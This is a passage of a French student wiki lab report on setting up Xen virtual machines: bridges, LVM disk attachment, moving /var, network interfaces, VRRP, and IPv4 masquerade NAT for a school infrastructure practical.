Objectif : que nos VMs communiquent entre elles comme si elles étaient branchées sur le même switch.&lt;br /&gt;
&lt;br /&gt;
'''VIF 2 : réseau “école / Internet / infra”'''&lt;br /&gt;
&lt;br /&gt;
* branchée sur le bridge qui donne l’accès au '''reste de l’infra''' + Internet&lt;br /&gt;
* ici : &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt; (bridge officiel du TP)&lt;br /&gt;
&lt;br /&gt;
Objectif : accès Internet + accès au reste de l’infra (routeurs, services, etc.)&lt;br /&gt;
&lt;br /&gt;
===== Mode “secours” : &amp;lt;code&amp;gt;bridgeStudents&amp;lt;/code&amp;gt; =====&lt;br /&gt;
Tant que le bridge &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt; n’est pas encore “brassé” correctement (câblage + routeurs Cisco + etc.), on peut utiliser :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;bridgeStudents&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ça te donne déjà :&lt;br /&gt;
&lt;br /&gt;
* Internet&lt;br /&gt;
* de quoi avancer sur une grosse partie du TP&lt;br /&gt;
&lt;br /&gt;
⚠️ Mais à la fin, pour la note max :&lt;br /&gt;
&lt;br /&gt;
Vous devez faire le '''brassage / branchement réel''' des commutateurs en '''E304 / E306 / E200''', et configurer la partie Cisco reliée au bridge &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==== 3) Exemple de section réseau dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Networking&lt;br /&gt;
dhcp = 'dhcp'&lt;br /&gt;
vif  = [&lt;br /&gt;
  'mac=00:16:3E:47:BB:E8,bridge=pont_Gercourt',&lt;br /&gt;
  'mac=00:16:3E:47:BB:E7,bridge=SE4'&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Comment lire ça ? =====&lt;br /&gt;
* &amp;lt;code&amp;gt;vif = [...]&amp;lt;/code&amp;gt; : liste des cartes réseau virtuelles&lt;br /&gt;
* chaque ligne décrit '''une VIF'''&lt;br /&gt;
* &amp;lt;code&amp;gt;mac=...&amp;lt;/code&amp;gt; : la MAC address que la VM utilisera (utile pour DHCP, filtrage, repérage)&lt;br /&gt;
* &amp;lt;code&amp;gt;bridge=...&amp;lt;/code&amp;gt; : le bridge/commutateur virtuel Xen/Linux sur lequel on connectes cette VIF&lt;br /&gt;
&lt;br /&gt;
c’est littéralement “sur quel switch virtuel on branches le câble”&lt;br /&gt;
&lt;br /&gt;
==== 4) Lien avec &amp;lt;code&amp;gt;xen-create-image&amp;lt;/code&amp;gt; (ce que on retrouves dans le cfg) ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;antlr-cpp&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.Merteuil --dhcp --bridge=pont_Gercourt \&lt;br /&gt;
  --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2048M --force&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Elle fait plusieurs trucs automatiquement :&lt;br /&gt;
&lt;br /&gt;
* crée le disque système (&amp;lt;code&amp;gt;disk.img&amp;lt;/code&amp;gt;) + swap (&amp;lt;code&amp;gt;swap.img&amp;lt;/code&amp;gt;)&lt;br /&gt;
* configure le hostname&lt;br /&gt;
* met une config réseau DHCP&lt;br /&gt;
* et '''ajoute 1 bridge''' par défaut (&amp;lt;code&amp;gt;pont_Gercourt&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
Mais elle ne connaît pas forcément ta future archi avec &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; séparés, ni le second bridge (SE4).&lt;br /&gt;
&lt;br /&gt;
Donc on '''complètes à la main''' dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==== 5) Ajouter nos volumes logiques &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; dans &amp;lt;code&amp;gt;disk = [...]&amp;lt;/code&amp;gt; ====&lt;br /&gt;
Dans ton fichier config, on a une section :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
&lt;br /&gt;
'file:/usr/local/xen/domains/SE4.Merteuil/disk.img,xvda2,w',&lt;br /&gt;
&lt;br /&gt;
'file:/usr/local/xen/domains/SE4.Merteuil/swap.img,xvda1,w',&lt;br /&gt;
&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Comprendre &amp;lt;code&amp;gt;file:&amp;lt;/code&amp;gt; vs &amp;lt;code&amp;gt;phy:&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;file:&amp;lt;/code&amp;gt; → disque = '''fichier image''' (un &amp;lt;code&amp;gt;.img&amp;lt;/code&amp;gt;)&lt;br /&gt;
* &amp;lt;code&amp;gt;phy:&amp;lt;/code&amp;gt; → disque = '''vrai block device''' côté hôte (ex : volume LVM dans &amp;lt;code&amp;gt;/dev/virtual/...&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
Donc pour brancher nos volumes logiques LVM, on ajoutes :&amp;lt;syntaxhighlight lang=&amp;quot;ansys&amp;quot;&amp;gt;&lt;br /&gt;
'phy:/dev/virtual/SE4.Merteuil.home,xvda3,w',&lt;br /&gt;
'phy:/dev/virtual/SE4.Merteuil.var,xvdb1,w',&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ce qui donne :&amp;lt;syntaxhighlight lang=&amp;quot;antlr-c#&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
  'file:/usr/local/xen/domains/SE4.Merteuil/disk.img,xvda2,w',&lt;br /&gt;
  'file:/usr/local/xen/domains/SE4.Merteuil/swap.img,xvda1,w',&lt;br /&gt;
  'phy:/dev/virtual/SE4.Merteuil.home,xvda3,w',&lt;br /&gt;
  'phy:/dev/virtual/SE4.Merteuil.var,xvdb1,w',&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== 6) C’est quoi &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt; / &amp;lt;code&amp;gt;xvdb1&amp;lt;/code&amp;gt; exactement ? ====&lt;br /&gt;
C’est juste '''le nom du disque vu par la VM'''.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;xvda&amp;lt;/code&amp;gt; = “disque A virtuel”&lt;br /&gt;
* &amp;lt;code&amp;gt;xvdb&amp;lt;/code&amp;gt; = “disque B virtuel”&lt;br /&gt;
* &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt; = “partition 3 du disque A” (façon de parler : c’est l’identifiant donné à Xen)&lt;br /&gt;
&lt;br /&gt;
'''Ce qui compte vraiment'''&lt;br /&gt;
&lt;br /&gt;
✅ Que chaque “source” (file/phy) ait un '''identifiant unique''' côté VM.&lt;br /&gt;
&lt;br /&gt;
Le choix &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt; vs &amp;lt;code&amp;gt;xvdb1&amp;lt;/code&amp;gt; n’a rien de magique : c’est juste une convention.&lt;br /&gt;
&lt;br /&gt;
'''Petit conseil pratique (propre et simple)'''&lt;br /&gt;
&lt;br /&gt;
* garde tout sur &amp;lt;code&amp;gt;xvda1&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;xvda2&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;xvda4&amp;lt;/code&amp;gt;… (ça évite de te perdre)&lt;br /&gt;
* ou alors fais :&lt;br /&gt;
** &amp;lt;code&amp;gt;xvda...&amp;lt;/code&amp;gt; pour OS + swap&lt;br /&gt;
** &amp;lt;code&amp;gt;xvdb&amp;lt;/code&amp;gt; pour home&lt;br /&gt;
** &amp;lt;code&amp;gt;xvdc&amp;lt;/code&amp;gt; pour var  (plus lisible quand on en a beaucoup)&lt;br /&gt;
&lt;br /&gt;
Les deux se font. L’important, c’est d’être '''cohérent'''.&lt;br /&gt;
&lt;br /&gt;
==== 7) Le &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt; à la fin : super important ====&lt;br /&gt;
À la fin de chaque ligne de disque, on a :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt; = '''write''' (lecture + écriture)&lt;br /&gt;
* &amp;lt;code&amp;gt;r&amp;lt;/code&amp;gt; = read-only (lecture seule)&lt;br /&gt;
&lt;br /&gt;
Donc si on oublies le &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt; sur un volume &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; ou &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;, on va vite te retrouver avec :&lt;br /&gt;
&lt;br /&gt;
* des erreurs d’écriture&lt;br /&gt;
* ou un système qui refuse de monter le FS correctement  Pour des volumes de données, c’est '''toujours &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt;'''.&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Montage des partitions et fichier &amp;quot;fstab&amp;quot;&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
==== Très important : ça se fait dans la VM, pas sur capbreton ====&lt;br /&gt;
Les commandes &amp;lt;code&amp;gt;mkfs&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mount&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mv&amp;lt;/code&amp;gt; sont à exécuter '''dans la VM''' (le DomU).&lt;br /&gt;
&lt;br /&gt;
* Sur '''capbreton (Dom0 / hôte Xen)''', '''ne touche jamais à &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;''' : c’est le cœur des services (logs, state, packages, etc.). Si on déplace &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; sur le host, on peut casser l’infra du TP (et potentiellement les autres VMs / services).&lt;br /&gt;
* Sur capbreton, ton job c’est '''créer les volumes LVM''' et les '''attacher''' à la VM dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;. Point.&lt;br /&gt;
&lt;br /&gt;
==== Rappel : c’est quoi &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; exactement ? ====&lt;br /&gt;
&amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; = “variable data”, donc tout ce qui '''change souvent''' et peut '''grossir vite'''.&lt;br /&gt;
&lt;br /&gt;
Typiquement :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/log&amp;lt;/code&amp;gt; : logs (ça peut exploser si un service spam)&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/lib&amp;lt;/code&amp;gt; : données applicatives (ex: bases de données, états de services)&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/cache&amp;lt;/code&amp;gt; : caches (apt, etc.)&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt; : fichiers temporaires “longue durée”&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/spool&amp;lt;/code&amp;gt; : files d’attente (mail, cron, impressions…)&lt;br /&gt;
&lt;br /&gt;
Pourquoi on le met sur un volume dédié : si &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; se remplit, on évites de remplir &amp;lt;code&amp;gt;/&amp;lt;/code&amp;gt; et de rendre la VM inutilisable.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
mount /dev/xvdb1 /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Explication rapide des commandes ===&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;mkfs -t ext4 /dev/xvdb1&amp;lt;/code&amp;gt;''' : ''formatage'' → crée un système de fichiers ext4 sur le disque.  ⚠️ Ça '''efface''' ce qu’il y avait dessus.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;mount &amp;lt;device&amp;gt; &amp;lt;dossier&amp;gt;&amp;lt;/code&amp;gt;''' : “branche” le système de fichiers sur un dossier.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;umount &amp;lt;dossier&amp;gt;&amp;lt;/code&amp;gt;''' : “débranche”.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;mount -a&amp;lt;/code&amp;gt;''' : monte tout ce qui est dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt;&lt;br /&gt;
* '''&amp;lt;code&amp;gt;mv&amp;lt;/code&amp;gt;''' : déplace. Sur &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;, c’est risqué parce que des fichiers peuvent être utilisés en live.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;'''DÉMARRAGE AUTOMATIQUE DU MONTAGE'''&amp;lt;/u&amp;gt;&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+&lt;br /&gt;
![[Fichier:Fichier fstab.png|alt=Fichier fstab|centré|cadre|Fichier fstab]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== CONFIGURATION RÉSEAU DE NOS VM ==&lt;br /&gt;
&lt;br /&gt;
=== Rappel du schéma et du rôle des machines ===&lt;br /&gt;
Dans l’infra, on a deux “mondes” réseau en parallèle :&lt;br /&gt;
&lt;br /&gt;
* '''Un réseau IPv4 privé''' (non routable sur Internet) : utilisé pour l’interconnexion interne et la sortie Internet via NAT.&lt;br /&gt;
* '''Un réseau IPv6 public''' : utilisé pour rendre les VM accessibles directement depuis l’extérieur (et accéder à Internet en IPv6 sans NAT).&lt;br /&gt;
&lt;br /&gt;
==== VM de service (serveurs) ====&lt;br /&gt;
* IPv4 '''privé''' : pour sortir sur Internet via le mandataire (NAT/Masquerade).&lt;br /&gt;
* IPv6 '''public''' : pour être joignable directement (pas de NAT).&lt;br /&gt;
&lt;br /&gt;
==== VM mandataire (gateway) ====&lt;br /&gt;
* Reliée au '''réseau privé IPv4''' : côté interne&lt;br /&gt;
* Reliée au '''réseau public''' : côté infra école + Internet.&lt;br /&gt;
* Fait l’interconnexion (routage + NAT + redirections de ports si besoin).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Configuration réseau de la VM de service ===&lt;br /&gt;
&lt;br /&gt;
==== Ton &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; (service) ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
        address 192.168.3.2/27 #192.168.3.3 pour notre deuxième service nommée Valmont&lt;br /&gt;
        gateway 192.168.3.1 #adresse IPv4 de notre mandataire&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto #attention de ne pas mettre en dhcp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Explication simple ====&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt; (IPv4 privé)'''&lt;br /&gt;
** IP privée &amp;lt;code&amp;gt;192.168.3.2/27&amp;lt;/code&amp;gt;&lt;br /&gt;
** passerelle &amp;lt;code&amp;gt;192.168.3.1&amp;lt;/code&amp;gt; = l’IP du mandataire sur le réseau privé  → Tout trafic IPv4 “vers Internet” part au mandataire.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt; (IPv6)'''&lt;br /&gt;
** &amp;lt;code&amp;gt;inet6 auto&amp;lt;/code&amp;gt; = la VM récupère automatiquement une IPv6 (SLAAC/RA) + souvent une route par défaut IPv6  → La VM est accessible directement en IPv6, sans passer par du NAT.&lt;br /&gt;
&lt;br /&gt;
=== Configuration réseau de la VM mandataire ===&lt;br /&gt;
Ton &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; (mandataire)&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
        address 192.168.3.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
        address 193.48.57.165/27&lt;br /&gt;
        gateway 193.48.57.162&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* eth0 (IPv4 privé) : 192.168.3.1 = gateway des services (réseau interne)&lt;br /&gt;
&lt;br /&gt;
* eth1 (public) :&lt;br /&gt;
** IPv4 public 193.48.57.165/27&lt;br /&gt;
** gateway public 193.48.57.162 (VRRP)&lt;br /&gt;
* IPv6 en auto (pour avoir IPv6 public côté mandataire aussi)&lt;br /&gt;
&lt;br /&gt;
=== Du &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; Xen → aux interfaces &amp;lt;code&amp;gt;ethX&amp;lt;/code&amp;gt; dans la VM ===&lt;br /&gt;
&lt;br /&gt;
==== Côté Xen (Dom0) : on déclares des VIF ====&lt;br /&gt;
Dans le fichier de config Xen de ta VM, on a un truc du style :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
vif = [&lt;br /&gt;
  'mac=00:16:3E:47:BB:E8,bridge=pont_Gercourt',&lt;br /&gt;
  'mac=00:16:3E:47:BB:E7,bridge=SE4'&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''Interprétation :'''&lt;br /&gt;
&lt;br /&gt;
* On crées '''2 cartes réseau virtuelles''' (2 VIF) pour la VM.&lt;br /&gt;
* Chaque VIF :&lt;br /&gt;
** a une '''MAC''' (pour l’identifier)&lt;br /&gt;
** est branchée sur un '''bridge''' Xen/Linux (un switch virtuel)&lt;br /&gt;
&lt;br /&gt;
Donc en mode “câblage” :&lt;br /&gt;
&lt;br /&gt;
* VIF #1 = un câble branché sur le switch virtuel &amp;lt;code&amp;gt;pont_Gercourt&amp;lt;/code&amp;gt;&lt;br /&gt;
* VIF #2 = un câble branché sur le switch virtuel &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt; (ou &amp;lt;code&amp;gt;bridgeStudents&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
==== Dans la VM (DomU) : ces VIF apparaissent comme &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt;, … ====&lt;br /&gt;
Quand la VM boot :&lt;br /&gt;
&lt;br /&gt;
* Xen “présente” ces VIF à l’OS invité&lt;br /&gt;
* l’OS les voit comme des interfaces réseau classiques&lt;br /&gt;
&lt;br /&gt;
Typiquement :&lt;br /&gt;
&lt;br /&gt;
* '''la 1ère VIF''' devient &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;&lt;br /&gt;
* '''la 2ème VIF''' devient &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
⚠️ Petit point important : le nom exact peut dépendre de l’OS (Debian peut utiliser &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;/&amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt; ou des noms type &amp;lt;code&amp;gt;ens3&amp;lt;/code&amp;gt;), mais '''dans ton TP on es bien sur &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;/&amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt;''', donc on garde ça.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip link&lt;br /&gt;
ip addr&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On verras &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt; et leurs MAC. On peut matcher avec celles du &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==== Le bridge Xen = “le switch” auquel la carte est connectée ====&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;bridge=pont_Gercourt&amp;lt;/code&amp;gt; : réseau '''privé IPv4''' entre nos VMs (commutateur virtuel interne)&lt;br /&gt;
* &amp;lt;code&amp;gt;bridge=SE4&amp;lt;/code&amp;gt; (ou &amp;lt;code&amp;gt;bridgeStudents&amp;lt;/code&amp;gt;) : réseau '''public / infra école / Internet'''&lt;br /&gt;
&lt;br /&gt;
Donc, si ta VM a :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt; reliée à &amp;lt;code&amp;gt;pont_Gercourt&amp;lt;/code&amp;gt; → elle est sur le réseau privé&lt;br /&gt;
* &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt; reliée à &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt; → elle est sur le réseau public&lt;br /&gt;
&lt;br /&gt;
C’est exactement pour ça que dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; on mets :&lt;br /&gt;
&lt;br /&gt;
* IPv4 privé sur &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;&lt;br /&gt;
* IPv6 (direct) sur &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Pourquoi les services sortent en IPv4 via “Masquerade” (NAT) ===&lt;br /&gt;
&lt;br /&gt;
==== Le problème IPv4 ====&lt;br /&gt;
IPv4 = adresses sur 32 bits → ~4,3 milliards d’adresses max, et une grosse partie est réservée.&lt;br /&gt;
&lt;br /&gt;
Résultat : on ne peut pas donner une IPv4 publique à chaque machine du monde.&lt;br /&gt;
&lt;br /&gt;
==== La solution historique : NAT / Masquerade ====&lt;br /&gt;
On met les machines en '''IP privées''' (ex : &amp;lt;code&amp;gt;192.168.x.x&amp;lt;/code&amp;gt;), et une machine (le mandataire) “traduit” :&lt;br /&gt;
&lt;br /&gt;
* en interne : &amp;lt;code&amp;gt;192.168.3.2&amp;lt;/code&amp;gt; (service)&lt;br /&gt;
* en externe : &amp;lt;code&amp;gt;193.48.57.165&amp;lt;/code&amp;gt; (mandataire)&lt;br /&gt;
&lt;br /&gt;
Donc vu d’Internet, '''tout sort avec l’IP publique du mandataire'''.&lt;br /&gt;
&lt;br /&gt;
C’est exactement ce que fait &amp;lt;code&amp;gt;MASQUERADE&amp;lt;/code&amp;gt; dans iptables : une forme de NAT automatique adaptée quand l’IP externe peut changer.&lt;br /&gt;
&lt;br /&gt;
=== Pourquoi en IPv6 on fait de l’accès direct (pas de NAT) ===&lt;br /&gt;
IPv6 = 128 bits → un nombre d’adresses gigantesque (bien au-delà du “trillions” d'adresses).&lt;br /&gt;
&lt;br /&gt;
Du coup, on peut attribuer à chaque VM une IPv6 unique, routable.&lt;br /&gt;
&lt;br /&gt;
Conséquence :&lt;br /&gt;
&lt;br /&gt;
* pas besoin de NAT&lt;br /&gt;
* la VM est joignable directement (avec firewall bien sûr)&lt;br /&gt;
&lt;br /&gt;
Dans ton schéma, c’est l’arc “Accès direct IPv6” : les services sont accessibles depuis l’infra publique en IPv6 sans passer par la traduction du mandataire.&lt;br /&gt;
&lt;br /&gt;
=== VRRP : c’est quoi cette gateway &amp;lt;code&amp;gt;193.48.57.162&amp;lt;/code&amp;gt; ? ===&lt;br /&gt;
&amp;lt;code&amp;gt;193.48.57.162&amp;lt;/code&amp;gt; = '''IP virtuelle VRRP''' portée par '''deux routeurs''' (redondance).&lt;br /&gt;
&lt;br /&gt;
* routeur A : &amp;lt;code&amp;gt;...163&amp;lt;/code&amp;gt;&lt;br /&gt;
* routeur B : &amp;lt;code&amp;gt;...164&amp;lt;/code&amp;gt;&lt;br /&gt;
* IP VRRP : &amp;lt;code&amp;gt;...162&amp;lt;/code&amp;gt; (celle que on mets en gateway)&lt;br /&gt;
&lt;br /&gt;
Avantage :&lt;br /&gt;
&lt;br /&gt;
* si un routeur tombe, l’autre reprend l’IP VRRP&lt;br /&gt;
* nos machines ne changent pas leur config, ça continue de router&lt;br /&gt;
&lt;br /&gt;
Si on mets directement &amp;lt;code&amp;gt;.163&amp;lt;/code&amp;gt; ou &amp;lt;code&amp;gt;.164&amp;lt;/code&amp;gt; en gateway :&lt;br /&gt;
&lt;br /&gt;
* on forces l’utilisation d’un routeur précis&lt;br /&gt;
* on perds la redondance (si celui-là tombe, plus de sortie)&lt;br /&gt;
&lt;br /&gt;
=== MASCARED D'IP ===&lt;br /&gt;
&lt;br /&gt;
==== Le problème ====&lt;br /&gt;
VM de service sont en '''IPv4 privé''' (ex: &amp;lt;code&amp;gt;192.168.3.x&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
Ces adresses '''ne sont pas routables sur Internet''' (elles n’existent pas “officiellement” sur le réseau public).&lt;br /&gt;
&lt;br /&gt;
Donc si une VM &amp;lt;code&amp;gt;192.168.3.2&amp;lt;/code&amp;gt; envoie un paquet vers Internet (ex: &amp;lt;code&amp;gt;8.8.8.8&amp;lt;/code&amp;gt;), le monde extérieur ne peut pas répondre directement à &amp;lt;code&amp;gt;192.168.3.2&amp;lt;/code&amp;gt; → c’est une adresse privée.&lt;br /&gt;
&lt;br /&gt;
'''La solution : NAT sortant (Masquerade)'''&lt;br /&gt;
&lt;br /&gt;
La machine '''mandataire''' (Rosemonde dans mon cas) joue le rôle de '''gateway NAT''' :&lt;br /&gt;
&lt;br /&gt;
* '''En interne''' : les services parlent en &amp;lt;code&amp;gt;192.168.3.x&amp;lt;/code&amp;gt;&lt;br /&gt;
* '''En externe''' : le mandataire remplace l’IP source par '''son IP publique''' (ex: &amp;lt;code&amp;gt;193.48.57.165&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
Donc vu depuis Internet, tout semble venir de &amp;lt;code&amp;gt;193.48.57.165&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
C’est exactement ce que fait &amp;lt;code&amp;gt;MASQUERADE&amp;lt;/code&amp;gt; :&amp;lt;blockquote&amp;gt;“Quand un paquet sort vers Internet depuis le réseau privé, réécris son IP source avec l’IP publique du mandataire.”&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
Le NAT n’est pas “juste une règle”. Ça marche avec un système d’état appelé '''conntrack''' (suivi de connexions).&lt;br /&gt;
&lt;br /&gt;
Exemple : la VM &amp;lt;code&amp;gt;192.168.3.2&amp;lt;/code&amp;gt; fait un &amp;lt;code&amp;gt;apt update&amp;lt;/code&amp;gt; vers un serveur public &amp;lt;code&amp;gt;X.X.X.X:443&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
La VM envoie :&lt;br /&gt;
&lt;br /&gt;
* source = &amp;lt;code&amp;gt;192.168.3.2:54321&amp;lt;/code&amp;gt;&lt;br /&gt;
* destination = &amp;lt;code&amp;gt;X.X.X.X:443&amp;lt;/code&amp;gt;&lt;br /&gt;
Le mandataire applique &amp;lt;code&amp;gt;MASQUERADE&amp;lt;/code&amp;gt; en sortie (POSTROUTING) :&lt;br /&gt;
&lt;br /&gt;
* source devient &amp;lt;code&amp;gt;193.48.57.165:40000&amp;lt;/code&amp;gt; (port éventuellement modifié)&lt;br /&gt;
Le mandataire enregistre une “table de correspondance” (conntrack) :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;192.168.3.2:54321&amp;lt;/code&amp;gt; ↔ &amp;lt;code&amp;gt;193.48.57.165:40000&amp;lt;/code&amp;gt;&lt;br /&gt;
Quand la réponse revient de &amp;lt;code&amp;gt;X.X.X.X:443&amp;lt;/code&amp;gt; vers &amp;lt;code&amp;gt;193.48.57.165:40000&amp;lt;/code&amp;gt;,  le mandataire “dé-NAT” automatiquement et renvoie vers :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;192.168.3.2:54321&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc le NAT permet à '''plusieurs machines privées''' de partager '''une seule IPv4 publique''' grâce à :&lt;br /&gt;
&lt;br /&gt;
* réécriture d’IP&lt;br /&gt;
* réécriture de ports (PAT)&lt;br /&gt;
* suivi d’état (conntrack)&lt;br /&gt;
&lt;br /&gt;
